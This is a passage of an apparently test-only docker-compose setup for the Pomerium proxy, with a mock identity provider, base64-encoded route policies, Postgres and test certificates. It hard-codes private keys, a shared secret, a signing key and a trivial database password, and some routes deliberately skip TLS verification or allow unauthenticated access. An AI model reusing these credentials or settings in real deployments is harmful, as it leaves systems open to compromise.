jRTTC9JR0pXak4vU3pnNGlYWXNLRm11K2R1bE9abFxuY0JBTHBFS3JxcG16WFl0ck42YnN2MTgrNWVPM3FHYksyRHJFcTNlV1ZldjJLb1RNb2J4ejdnKytYQklXSm1MQVxuSGhhYTZJaVBrWUQ1eXlWeUhLRGJlWGdiM285ZXFDUjd3N2ZZTGp5L0FvR0FJNEQrTUZraXZ3VUY3aHFmNWVkU1xuS3JsdHdtb2RIaXFYTmJWa3diVzFBRlBKYmlZYWk0WUZmSzRJQWJpZi9ZbXhmOUc3OGFPa3I5WnBDSXpPa0RQWlxuWXBFd1FHV3NBaEVsQ0Z2YzhFLzVkSEVTU3ArdFd0UCtObHVpbXBGcWlEZzMvU1VuTXdPMnhIMG5oTGEwemVqaFxuZ21MaDR3L0NjUHliOVp5WGNlV1UvblU9XG4tLS0tLUVORCBQUklWQVRFIEtFWS0tLS0tXG4iLAoicHJpdmF0ZV9rZXlfaWQiOiAiZTA3ZjdjOTM4NzBjN2UwM2Y4ODM1NjBlY2Q4ZmQwZjRkMjdiMDA4MSIsCiJwcm9qZWN0X2lkIjogInBvbWVyaXVtLXJlZGFjdGVkIiwKInRva2VuX3VyaSI6ICJodHRwOi8vbW9jay1pZHA6ODAyNC90b2tlbiIsCiJ0eXBlIjogInNlcnZpY2VfYWNjb3VudCIKfQ== IDP_CLIENT_ID: CLIENT_ID IDP_CLIENT_SECRET: CLIENT_SECRET IDP_PROVIDER: oidc IDP_PROVIDER_URL: https://mock-idp.localhost.pomerium.io/ JWT_CLAIMS_HEADERS: email,groups,user LOG_LEVEL: info POLICY: Wwp7CiJhbGxvd19wdWJsaWNfdW5hdXRoZW50aWNhdGVkX2FjY2VzcyI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vbW9jay1pZHAubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInByZXNlcnZlX2hvc3RfaGVhZGVyIjogdHJ1ZSwKInRvIjogImh0dHA6Ly9tb2NrLWlkcDo4MDI0Igp9LAp7CiJhbGxvd19wdWJsaWNfdW5hdXRoZW50aWNhdGVkX2FjY2VzcyI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vZW52b3kubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInRvIjogImh0dHA6Ly9sb2NhbGhvc3Q6OTkwMSIKfSwKewoiYWxsb3dfYW55X2F1dGhlbnRpY2F0ZWRfdXNlciI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vdmVyaWZ5LmxvY2FsaG9zdC5wb21lcml1bS5pbyIsCiJwYXNzX2lkZW50aXR5X2hlYWRlcnMiOiB0cnVlLAoidG8iOiAiaHR0cDovL3ZlcmlmeTo4MCIKfSwKewoiYWxsb3dfcHVibGljX3VuYXV0aGVudGljYXRlZF9hY2Nlc3MiOiB0cnVlLAoiYWxsb3dfd2Vic29ja2V0cyI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vd2Vic29ja2V0LWVjaG8ubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInRvIjogImh0dHA6Ly93ZWJzb2NrZXQtZWNobzo4MCIKfSwKewoiYWxsb3dfYW55X2F1dGhlbnRpY2F0ZWRfdXNlciI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vZm9ydGlvLXVpLmxvY2FsaG9zdC5wb21lcml1bS5pbyIsCiJ0byI6ICJodHRwczovL2ZvcnRpbzo4MDgwIgp9LAp7CiJhbGxvd19wdWJsaWNfdW5hdXRoZW50aWNhdGVkX2FjY2VzcyI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vZm9ydGlvLXBpbmcubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInRsc19jdXN0b21fY2EiOiAiTFMwdExTMUNSVWRKVGlCRFJWSlVTVVpKUTBGVVJTMHRMUzB0Q2sxSlNVVXhla05EUVhvclowRjNTVUpCWjBsUldqRXpPV05rTDNCaFVHUnJVekpLZVVGMU4ydEZSRUZPUW1kcmNXaHJhVWM1ZHpCQ1FWRnpSa0ZFUTBJS1ozcEZaVTFDZDBkQk1WVkZRMmhOVm1KWGRHcGFXRW93U1VkU2JHUnRWbk5pTTBKMFdsYzFNRWxGVGtKTlUzZDNTMmRaUkZaUlVVeEVRMDVxV1ZkNGJBcFphMEpxV1ZkNGJGbHBNWGRaZVRGellWYzFNV1ZEUVc5Uk1rWnpXbGRKWjFKSE9UUmpNbFkxUzFSRmVrMUVSVWRCTVZWRlFYZDNjV0pYZEdwYVdFb3dDa2xIVG1oaVIxWnBVVWRPYUdKSFZtbE1XRUpxVEZkNGNHSnVWalJKUTJoRVdWZDRiRmxwUWtWaU0yaDZXbGhyY0UxQ05GaEVWRWw0VFVSbmVFMUVSVE1LVFhwSmQwOVdiMWhFVkUxNFRVUm5lRTFFUlROTmVrbDNUMVp2ZDJkWlRYaElha0ZqUW1kT1ZrSkJiMVJHVnpGeVdUSldlV1JEUW10YVdGcHNZa2M1ZHdwaVYxWjFaRU5DUkZGVVJYTk5RMjlIUVRGVlJVTjNkMnBaTWtaeldsZEtRVmt5Um5OYVYwbDBZMGROZEdKSGJIVmtXR2RuUzBWT2FHSkhWbWxKUlZKMkNtVklUbXhsVTJ0NFRYcEJlRUpuVGxaQ1FVMU5TMjB4Y2xreVZubGtRMEpxV1ZkNGJGbHJRbXBaVjNoc1dXa3hkMWw1TVhOaFZ6VXhaVU5CYjFFeVJuTUtXbGRKWjFKSE9UUmpNbFkxUzFSRFEwRmhTWGRFVVZsS1MyOWFTV2gyWTA1QlVVVkNRbEZCUkdkblIxQkJSRU5EUVZsdlEyZG5SMEpCVG1KTGVVMTZOUXBOVmxjMldVdGthbWd4YjBsT01VMXVOMUJGTW5CSU5WTmlTbE53VjNoa1FVZG9aRUpyUW10d1FXRTNUM2hoY21wSU5VdFdhME5VVTJFM2IyNWpiR0UzQ25GT2RVcGFVelp0UW0xdmVFWXJVaXRqVWpOcWVVZGtWVUZaYkc5NmJERnFiR1p4VEVsbVF5OHJaemRXTjFadFQwcHVPVGgwYWtJME1tWmhkSGhNYkRZS1YxQkJkekZLUkU1elYzUlJabWhMYUdKalNIVjBOMUp6UmpCeVRVOVBTR04zZVhkVVVqZE1UM2xEYlVsbGJERndZMjF3VmpSb1lsWmpWRFpsVm5kdlVBcElXSGxLVTJFNVkzRmhUVkUxV0hKa2IyZGhhVFJKY1ZwYVNVZE1TR1ZNYzFSV2RYUlBaMHBHV0VWbGRteFlMMUZVTTNOWGIyMUZZM1I2YURNNFNuTTBDamxFYVVGUVJEWmtORmszTDBOUVRGbEZabXN5T1VwUk9VNWFhSEJuUkhOcE9XaDFOVVpJU0ZwaldIZG1NVWxJYkhjdlEwSldaMjQyYWl0cWJYWkxTM29LT1RCTllURnZjWFYyTTFjMlpIUjBhV1F2ZUVOalRFZDFNbE1yT1RaVWVuSjVhMjF2ZVRWV1lXTk1kRlpGVURReFdXMXZWbXh6T1RGeWJHODNiMnh3WlFwUlYwWmlibTFqYnpjek9WUkpMelJvSzBodlpHOXNjR1Z5VVVWU1VXdzNkVU51Y0V0V1VGb3pWMjlyUzNWU2FEVndhM0ZyVVhBdllYSlJhblIzWTFKMENrYzBNME55UkhCaWJDdDFVMnBOUTBGNGFHRTVOVGhsVkZsMmRHOXFWRTF1ZGt4MGMwZEpSREZvUjFodWNXeDNLelZMYWt0eVoxSkljbEZKUkVGUlFVSUtiekJWZDFGNlFVOUNaMDVXU0ZFNFFrRm1PRVZDUVUxRFFXZFJkMFZuV1VSV1VqQlVRVkZJTDBKQlozZENaMFZDTDNkSlFrRkVRV1JDWjA1V1NGRTBSUXBHWjFGVmFGbGFXVmRKUWtoNWF6WmFWbFJ1Y0ROc1VuUXZkSGxDVURBd2QwUlJXVXBMYjFwSmFIWmpUa0ZSUlV4Q1VVRkVaMmRIUWtGQk1VWXZZWEJ5Q213MmNFNVVNMDF3TDAxNGFGVlZaMjgyZFhORlNrTnllVWRSWTB4U1ptVjRlVkZZUjA0emFIVkRiVWx5VURVMVZrWmhPRVZVVUVGMGFuTnlObEJOWlRjS04zWjJSV280WlVaMU1rcDBTMjkyYkZGM1RtVjNXVlU1WTJwQlRVTldZVVpwVG1KeVVXRXlNR2g2YUZkak1tcHpObVI1YVd4a1JUWXZSRkI2WW1Wa2N3cExSRUY0YUVaT2NETTFVMngzZEZKMFMyc3hVM3A0U25oemNWTjNhbVo0U1RobWNDdFNMekIzVHpobk1HWlhWR1JOTW1kRGNGSjNXVTFPZDBwRlRFVm5DaXRrVTJ4MlNrTjNkWFVyY25wNFRHRnNlbUZRUmpGUVRWUlhOekpQUlV4aGJDOXFOWE5FS3pKV2VYUlJOR3NyU0ZWRVlubDBNa1J1VVZRM1dWRXplbThLY1RBeWVESjFNbk50TVZkWEwyOHZkV2c0Y0dwUWVHdEhVWEZNTW0xeWVWcHpObFpJT1ZaRFZUTlJhMHRPUkhOelRtUTNNV3h5TTNkUWIwVTBXVkpJWlFwVmRucEVNV1ZFWldWc2VrSlZSazVKY0VSRGFtUkRjMHcxTlhsSlVIRlZjM0kyYkcxcWNFSlFUREIyWldFek0xRlVUV0pqYzFONGRUQjFiVWRZUkdKVkNqWTJhblZWTkZveGFrOUZNSGREYkVsMllVODJPVGxLSzBVeVowSmxNV3BWVGpaQmREWmlPRUpUYjFweFEzRllXVzlFU0VkbGFUbFNRbFZrZG1keGRHOEthMVp6YjBwbVJFa3ZWRVpOWld0WlozQk1OVlZXV1cxTVpHWm5jVXhRVUZKUU9YQlJRa3hFZUROdGMzcGxRWEZ1ZG1aVVNVTkJlbVpZWnowOUNpMHRMUzB0UlU1RUlFTkZVbFJKUmtsRFFWUkZMUzB0TFMwSyIsCiJ0bHNfc2VydmVyX25hbWUiOiAiZm9ydGlvLXBpbmcubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInRvIjogImh0dHBzOi8vZm9ydGlvOjgwNzkiCn0sCnsKImFsbG93X2FueV9hdXRoZW50aWNhdGVkX3VzZXIiOiB0cnVlLAoiZnJvbSI6ICJ0Y3AraHR0cHM6Ly9yZWRpcy5sb2NhbGhvc3QucG9tZXJpdW0uaW86NjM3OSIsCiJ0byI6ICJ0Y3A6Ly9yZWRpczo2Mzc5Igp9LAp7CiJhbGxvd19wdWJsaWNfdW5hdXRoZW50aWNhdGVkX2FjY2VzcyI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vaHR0cGRldGFpbHMubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInBhdGgiOiAiL3Rscy1za2lwLXZlcmlmeS1lbmFibGVkIiwKInRsc19za2lwX3ZlcmlmeSI6IHRydWUsCiJ0byI6ICJodHRwczovL3RydXN0ZWQtaHR0cGRldGFpbHM6ODQ0MyIKfSwKewoiYWxsb3dfcHVibGljX3VuYXV0aGVudGljYXRlZF9hY2Nlc3MiOiB0cnVlLAoiZnJvbSI6ICJodHRwczovL2h0dHBkZXRhaWxzLmxvY2FsaG9zdC5wb21lcml1bS5pbyIsCiJwYXRoIjogIi90bHMtc2tpcC12ZXJpZnktZGlzYWJsZWQiLAoidGxzX3NraXBfdmVyaWZ5IjogZmFsc2UsCiJ0byI6ICJodHRwczovL3RydXN0ZWQtaHR0cGRldGFpbHM6ODQ0MyIKfSwKewoiYWxsb3dfcHVibGljX3VuYXV0aGVudGljYXRlZF9hY2Nlc3MiOiB0cnVlLAoiZnJvbSI6ICJodHRwczovL2h0dHBkZXRhaWxzLmxvY2FsaG9zdC5wb21lcml1bS5pbyIsCiJwYXRoIjogIi90bHMtc2VydmVyLW5hbWUtZW5hYmxlZCIsCiJ0bHNfc2VydmVyX25hbWUiOiAiaHR0cGRldGFpbHMubG9jYWxob3N0Lm5vdHBvbWVyaXVtLmlvIiwKInRvIjogImh0dHBzOi8vd3JvbmdseS1uYW1lZC1odHRwZGV0YWlsczo4NDQzIgp9LAp7CiJhbGxvd19wdWJsaWNfdW5hdXRoZW50aWNhdGVkX2FjY2VzcyI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vaHR0cGRldGFpbHMubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInBhdGgiOiAiL3Rscy1zZXJ2ZXItbmFtZS1kaXNhYmxlZCIsCiJ0byI6ICJodHRwczovL3dyb25nbHktbmFtZWQtaHR0cGRldGFpbHM6ODQ0MyIKfSwKewoiYWxsb3dfcHVibGljX3VuYXV0aGVudGljYXRlZF9hY2Nlc3MiOiB0cnVlLAoiZnJvbSI6ICJodHRwczovL2h0dHBkZXRhaWxzLmxvY2FsaG9zdC5wb21lcml1bS5pbyIsCiJwYXRoIjogIi90bHMtY3VzdG9tLWNhLWVuYWJsZWQiLAoidGxzX2N1c3RvbV9jYSI6ICJMUzB0TFMxQ1JVZEpUaUJEUlZKVVNVWkpRMEZVUlMwdExTMHRDazFKU1VVeVJFTkRRVEJEWjBGM1NVSkJaMGxTUVV4a09VZGhTbEk1TW5GcE4zRk1NV1ZJUjAwMlN6QjNSRkZaU2t0dldrbG9kbU5PUVZGRlRFSlJRWGNLWjFsTmVFaHFRV05DWjA1V1FrRnZWRVpYTVhKWk1sWjVaRU5DYTFwWVdteGlSemwzWWxkV2RXUkRRa1JSVkVWelRVTnZSMEV4VlVWRGQzZHFXVEpHY3dwYVYwcEJXVEpHYzFwWFNYUmpSMDEwWWtkc2RXUllaMmRMUlU1b1lrZFdhVWxGVW5abFNFNXNaVk5yZUUxNlFYaENaMDVXUWtGTlRVdHRNWEpaTWxaNUNtUkRRbXBaVjNoc1dXdENhbGxYZUd4WmFURjNXWGt4YzJGWE5URmxRMEZ2VVRKR2MxcFhTV2RTUnprMFl6SldOVXRVUVdWR2R6QjVUVlJCTkUxVVJYa0tUVlJWTWsxVVFtRkdkekI2VFZSQk5FMVVSWGxOVkZVeVRWUkNZVTFKUjBSTlVqUjNTRUZaUkZaUlVVdEZlRlowWVRKT2JHTnVVV2RhUjFZeVdsZDRkZ3BqUnpGc1ltNVJaMUV3UlhoTVJFRnhRbWRPVmtKQmMwMUpNazVvWWtkV2FWRkhUbWhpUjFacFRGaENha3hYZUhCaWJsWTBTVU5vUkZsWGVHeFphVUpGQ21JemFIcGFXR3R3VFZSTmQwMVJXVVJXVVZGRVJFTndkR0V5VG14amJsRm5XVEpHYzFwWFNrRlpNa1p6V2xkSmRHTkhUWFJpUjJ4MVpGaG5aMHRGVG1nS1lrZFdhVWxGVW5abFNFNXNaVk5yZDJkblIybE5RVEJIUTFOeFIxTkpZak5FVVVWQ1FWRlZRVUUwU1VKcWQwRjNaMmRIUzBGdlNVSm5VVVJYV1hCV1pRcENVMjVsWlRKalFVSlpiMlpUYjFkNFIwMTVSbUZOVVRCdVNtdFpNRlZYVFRsamEzbFZhRGRXWm1kT0t5OWhSbE5YTWxwVGJWaDFkalZrY21Od2FUSXdDbm96Wld4b1VGUmxPVGhpUVU1aWFpc3ZZbWt3TURFMVVWZHVUV1Z1U3pBMVdrczJjVVIwUm5kdkwwaFdReTlaWTJGeWRYVTVOaXN4U2pKMGIyVlhkVVVLZEhsclZ6Tk5RM0JETVhCSVdWTTFaemxwVmtScmNHUnllbTUyV0V0c1dYVlRhV3RxY21vM1N6VjBiMmxVZG5WdE9UZE1lRXRyZFdvMlJGaHFZWEJRUkFvMWRuUmxVMDR4WkZGblR6bERVek56Y1d4amQxbEJObEpxVlVoM1dUSldSV2d5WVdSUU16ZENXbkphZDA4cmVVcHhPWEZHTlhrMVIyeG5hVGhzVGpSakNrdHNTV3hHVlhNdmVGTndVWE40VG1KT1VWaDBUamx0YXpScGJWbHNXa2Q2V1ZsaVltMHJabTlDVmxCUVltOWhOV3BXZDB0RWNGbzJOVzFQY3pkS1IxQUtObmxxS3pkV04xVkNUVVp3Vnl0blMyMUtkR2RvTDJ0clFYZ3hPRFZvT1ROeGQweEdVR000TDFRM2Jpc3JVREZpZFN0bVlXdFlVRWRRUlRJeGNrUmxUQXBRYmxWdGRXTkpXbkJLYnpWT2NGbFdVWFkwVjNaVVMzRXZlazFTT1ZOemNIb3lVRVpLYmtWU1ZHWlVkbkVyUmpGeE0xcE9ZV1pGZW1sUWMwSTViMlZUQ201cWVIZHRZVnBQVTFZd2RsaHhMM0ZsYjNGNE5IWTJUVUo2VmtGWk1DODRVakpNWTNCS05IVm5NRTlhTTNjd1lqSjBObmx2T0RaUU5WRTRRMEYzUlVFS1FXRk9SazFGVFhkRVoxbEVWbEl3VUVGUlNDOUNRVkZFUVdkSlJVMUNTVWRCTVZWa1JYZEZRaTkzVVVsTlFWbENRV1k0UTBGUlFYZElVVmxFVmxJd1R3cENRbGxGUmt4aldUaEZiMDV2WmsxamNuSjRlbmw0U1c0elZ6WmFUMDFXV0UxQk1FZERVM0ZIVTBsaU0wUlJSVUpEZDFWQlFUUkpRbWRSUTFwNlJFTjJDa3RKU0ZnelIzWnFUbE5aTlhjMVlrOXVORVV6ZHpkUlNGQXdPVUZDYWxRdmQzVlVORXhFYTFwSVNrMXRiSEpNYnpOek9HSmpjMUV3YzAxRU1Wa3ZMeThLY3pBM1kzQTBlRmxzY1VRM1FrRXdRV053ZGxsV1dYRTFPSGhMZUhOdlEzZFdXRzFITldORlpVOXZXbTFYWmpOeFdUSnRVemhsVnprMmRrOUdjbVJKWWdwTU5FOUdOSGhaVlU5TlVuRkJUMGRCUVhJMlZteFBOMmRZWVRRd05raDZjbk5CTVdoWlduZHlaVmhvVDFSRFdscFFXazlWYmtGMU1EVlRTRVprWjJGTkNsUktUa0l2YnpBeGRIQjNVV3h5VkhoT2JXWnliM0J2VDNwNWRYWklNSHBWTWxKeVRYTXdLMFZpVDNWRE5FRXlZMUU0TTBSSlJuaDJjVFkzYkhsVk1FRUtjekZSTm5SU1RUQXJWVVJ0U2s5TWVqTlRaR2RPSzBRd01HaGpkWFZxT1RKSFZqUmlTRGhDWm5sVmRqaE9RMWt3ZGtScGFqQlVVMnBxTkdNMFVYUmpOd3BKVUV4VVdqSm5OVFExYjJONmFFNW5RVzFVTjJRclFqVkpibmxtYVZOSlMyVnRXSEZsY3pKcWNHbEJabnBRVG13NVFsWjRjMkZyWTNNdldYcHZXWE14Q2l0eFZHcEJWM1ZoUkhOTGIyaEZiazgwUWtwMWVuWXdlSEpqWlRRd1pXNVNaMWg1UjBkR2RsaDFNbk0wUmxreWRrcHhWRk52Tm5selJGZHVhRWt6VEZjS1pHTm5Oazh5UmpSQlVFTkhSMlUzZW5OMWNXbHhhM0JqYTI1Q1lXSm5la1Z6T1dadlNIRXliV1p2TjFocFJYcGxaRTFPT0VKT2NXWlRZa0U5Q2kwdExTMHRSVTVFSUVORlVsUkpSa2xEUVZSRkxTMHRMUzBLIiwKInRsc19zZXJ2ZXJfbmFtZSI6ICJodHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoidG8iOiAiaHR0cHM6Ly91bnRydXN0ZWQtaHR0cGRldGFpbHM6ODQ0MyIKfSwKewoiYWxsb3dfcHVibGljX3VuYXV0aGVudGljYXRlZF9hY2Nlc3MiOiB0cnVlLAoiZnJvbSI6ICJodHRwczovL2h0dHBkZXRhaWxzLmxvY2FsaG9zdC5wb21lcml1bS5pbyIsCiJwYXRoIjogIi90bHMtY3VzdG9tLWNhLWRpc2FibGVkIiwKInRvIjogImh0dHBzOi8vdW50cnVzdGVkLWh0dHBkZXRhaWxzOjg0NDMiCn0sCnsKImNvcnNfYWxsb3dfcHJlZmxpZ2h0IjogdHJ1ZSwKImZyb20iOiAiaHR0cHM6Ly9odHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoicHJlZml4IjogIi9jb3JzLWVuYWJsZWQiLAoidG8iOiAiaHR0cDovL3RydXN0ZWQtaHR0cGRldGFpbHM6ODA4MCIKfSwKewoiY29yc19hbGxvd19wcmVmbGlnaHQiOiBmYWxzZSwKImZyb20iOiAiaHR0cHM6Ly9odHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoicHJlZml4IjogIi9jb3JzLWRpc2FibGVkIiwKInRvIjogImh0dHA6Ly90cnVzdGVkLWh0dHBkZXRhaWxzOjgwODAiCn0sCnsKImFsbG93X3B1YmxpY191bmF1dGhlbnRpY2F0ZWRfYWNjZXNzIjogdHJ1ZSwKImZyb20iOiAiaHR0cHM6Ly9odHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoicHJlZml4IjogIi9wcmVzZXJ2ZS1ob3N0LWhlYWRlci1lbmFibGVkIiwKInByZXNlcnZlX2hvc3RfaGVhZGVyIjogdHJ1ZSwKInRvIjogImh0dHA6Ly90cnVzdGVkLWh0dHBkZXRhaWxzOjgwODAiCn0sCnsKImFsbG93X3B1YmxpY191bmF1dGhlbnRpY2F0ZWRfYWNjZXNzIjogdHJ1ZSwKImZyb20iOiAiaHR0cHM6Ly9odHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoicHJlZml4IjogIi9wcmVzZXJ2ZS1ob3N0LWhlYWRlci1kaXNhYmxlZCIsCiJwcmVzZXJ2ZV9ob3N0X2hlYWRlciI6IGZhbHNlLAoidG8iOiAiaHR0cDovL3RydXN0ZWQtaHR0cGRldGFpbHM6ODA4MCIKfSwKewoiYWxsb3dfYW55X2F1dGhlbnRpY2F0ZWRfdXNlciI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vcmVzdHJpY3RlZC1odHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoicGFzc19pZGVudGl0eV9oZWFkZXJzIjogdHJ1ZSwKInRvIjogImh0dHA6Ly90cnVzdGVkLWh0dHBkZXRhaWxzOjgwODAiCn0sCnsKImFsbG93ZWRfZG9tYWlucyI6IFsKImRvZ3MudGVzdCIKXSwKImZyb20iOiAiaHR0cHM6Ly9odHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoicGFzc19pZGVudGl0eV9oZWFkZXJzIjogdHJ1ZSwKInByZWZpeCI6ICIvYnktZG9tYWluIiwKInRvIjogImh0dHA6Ly90cnVzdGVkLWh0dHBkZXRhaWxzOjgwODAiCn0sCnsKImFsbG93ZWRfdXNlcnMiOiBbCiJ1c2VyMUBkb2dzLnRlc3QiCl0sCiJmcm9tIjogImh0dHBzOi8vaHR0cGRldGFpbHMubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInBhc3NfaWRlbnRpdHlfaGVhZGVycyI6IHRydWUsCiJwcmVmaXgiOiAiL2J5LXVzZXIiLAoidG8iOiAiaHR0cDovL3RydXN0ZWQtaHR0cGRldGFpbHM6ODA4MCIKfSwKewoiYWxsb3dfYW55X2F1dGhlbnRpY2F0ZWRfdXNlciI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vaHR0cGRldGFpbHMubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKImxiX3BvbGljeSI6ICJST1VORF9ST0JJTiIsCiJwcmVmaXgiOiAiL3JvdW5kLXJvYmluIiwKInRvIjogWwoiaHR0cDovL3RydXN0ZWQtMS1odHRwZGV0YWlsczo4MDgwIiwKImh0dHA6Ly90cnVzdGVkLTItaHR0cGRldGFpbHM6ODA4MCIsCiJodHRwOi8vdHJ1c3RlZC0zLWh0dHBkZXRhaWxzOjgwODAiCl0KfSwKewoiYWxsb3dfYW55X2F1dGhlbnRpY2F0ZWRfdXNlciI6IHRydWUsCiJmcm9tIjogImh0dHBzOi8vaHR0cGRldGFpbHMubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKImxiX3BvbGljeSI6ICJSSU5HX0hBU0giLAoicHJlZml4IjogIi9yaW5nLWhhc2giLAoidG8iOiBbCiJodHRwOi8vdHJ1c3RlZC0xLWh0dHBkZXRhaWxzOjgwODAiLAoiaHR0cDovL3RydXN0ZWQtMi1odHRwZGV0YWlsczo4MDgwIiwKImh0dHA6Ly90cnVzdGVkLTMtaHR0cGRldGFpbHM6ODA4MCIKXQp9LAp7CiJhbGxvd19hbnlfYXV0aGVudGljYXRlZF91c2VyIjogdHJ1ZSwKImZyb20iOiAiaHR0cHM6Ly9odHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoibGJfcG9saWN5IjogIk1BR0xFViIsCiJwcmVmaXgiOiAiL21hZ2xldiIsCiJ0byI6IFsKImh0dHA6Ly90cnVzdGVkLTEtaHR0cGRldGFpbHM6ODA4MCIsCiJodHRwOi8vdHJ1c3RlZC0yLWh0dHBkZXRhaWxzOjgwODAiLAoiaHR0cDovL3RydXN0ZWQtMy1odHRwZGV0YWlsczo4MDgwIgpdCn0sCnsKImFsbG93X3B1YmxpY191bmF1dGhlbnRpY2F0ZWRfYWNjZXNzIjogdHJ1ZSwKImZyb20iOiAiaHR0cHM6Ly9odHRwZGV0YWlscy5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoicGFzc19pZGVudGl0eV9oZWFkZXJzIjogdHJ1ZSwKInNldF9yZXF1ZXN0X2hlYWRlcnMiOiB7CiJYLUN1c3RvbS1SZXF1ZXN0LUhlYWRlciI6ICJjdXN0b20tcmVxdWVzdC1oZWFkZXItdmFsdWUiCn0sCiJ0byI6ICJodHRwOi8vdHJ1c3RlZC1odHRwZGV0YWlsczo4MDgwIgp9LAp7CiJhbGxvd19wdWJsaWNfdW5hdXRoZW50aWNhdGVkX2FjY2VzcyI6IHRydWUsCiJhbGxvd193ZWJzb2NrZXRzIjogdHJ1ZSwKImZyb20iOiAiaHR0cHM6Ly9lbmFibGVkLXdzLWVjaG8ubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInRvIjogImh0dHA6Ly93ZWJzb2NrZXQtZWNobzo4MCIKfSwKewoiYWxsb3dfcHVibGljX3VuYXV0aGVudGljYXRlZF9hY2Nlc3MiOiB0cnVlLAoiZnJvbSI6ICJodHRwczovL2Rpc2FibGVkLXdzLWVjaG8ubG9jYWxob3N0LnBvbWVyaXVtLmlvIiwKInRvIjogImh0dHA6Ly93ZWJzb2NrZXQtZWNobzo4MCIKfSwKewoiYWxsb3dfcHVibGljX3VuYXV0aGVudGljYXRlZF9hY2Nlc3MiOiB0cnVlLAoiZW5hYmxlX2dvb2dsZV9jbG91ZF9zZXJ2ZXJsZXNzX2F1dGhlbnRpY2F0aW9uIjogdHJ1ZSwKImZyb20iOiAiaHR0cHM6Ly9jbG91ZHJ1bi5sb2NhbGhvc3QucG9tZXJpdW0uaW8iLAoicGFzc19pZGVudGl0eV9oZWFkZXJzIjogdHJ1ZSwKInNldF9yZXF1ZXN0X2hlYWRlcnMiOiB7CiJ4LWlkcCI6ICJvaWRjIgp9LAoidG8iOiAiaHR0cDovL3RydXN0ZWQtaHR0cGRldGFpbHM6ODA4MCIKfQpd SHARED_SECRET: UYgnt8bxxK5G2sFaNzyqi5Z+OgF8m2akNc0xdQx718w= SIGNING_KEY: LS0tLS1CRUdJTiBFQyBQUklWQVRFIEtFWS0tLS0tCk1IY0NBUUVFSVBSR1d3TGg3NW5OWG5razM3ekRmTjhvbkx3ZkNpYUxQVEQrbmM4THg1aGNvQW9HQ0NxR1NNNDkKQXdFSG9VUURRZ0FFa3BCa08wVEttaDRKZFFmTE9lZU1kNTNLbmdhMVdkUVhyNUZjZXBrK2RMVktkVkt4WENHcQpoMW9qdWh1VzExR0lvT3pTOUdvU0tsTlZTUkZXVkVXRHZ3PT0KLS0tLS1FTkQgRUMgUFJJVkFURSBLRVktLS0tLQo= SIGNING_KEY_ALGORITHM: ES256 image: pomerium/pomerium:${POMERIUM_TAG:-main} networks: main: aliases: - pomerium - authenticate.localhost.pomerium.io ports: - 80:80/tcp - 443:443/tcp - 9901:9901/tcp postgres: environment: POSTGRES_DB: test POSTGRES_PASSWORD: password POSTGRES_USER: pomerium image: postgres:14.3-alpine networks: main: aliases: - postgres postgres-ready: command: - -wait - tcp://postgres:5432 - -timeout - 10m image: jwilder/dockerize:0.6.1 networks: main: aliases: - postgres-ready trusted-1-httpdetails: command: - sh - -c - | cat <<-END_OF_HTTPDETAILS | tee /app/fullchain.pem -----BEGIN CERTIFICATE----- MIIEUjCCArqgAwIBAgIRAKNaEqCmmZfhmcYgZy01WCswDQYJKoZIhvcNAQELBQAw gYMxHjAcBgNVBAoTFW1rY2VydCBkZXZlbG9wbWVudCBDQTEsMCoGA1UECwwjY2Fs ZWJAY2FsZWItcGMtbGludXggKENhbGViIERveHNleSkxMzAxBgNVBAMMKm1rY2Vy dCBjYWxlYkBjYWxlYi1wYy1saW51eCAoQ2FsZWIgRG94c2V5KTAeFw0yMTA4MTAx NzMyMTBaFw0yMzExMTAxODMyMTBaMFcxJzAlBgNVBAoTHm1rY2VydCBkZXZlbG9w bWVudCBjZXJ0aWZpY2F0ZTEsMCoGA1UECwwjY2FsZWJAY2FsZWItcGMtbGludXgg KENhbGViIERveHNleSkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC8 HLBAIzXkPeegldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPD yVhDT0QlI/O/EKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+Vv Wyl+FoPDV/vsZ31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9t jObsaQgJ5LLxCYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEq bZUDG+ZioArPmqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd 9r6rOBxpxwnTDvHkBn6vAgMBAAGjbDBqMA4GA1UdDwEB/wQEAwIFoDATBgNVHSUE 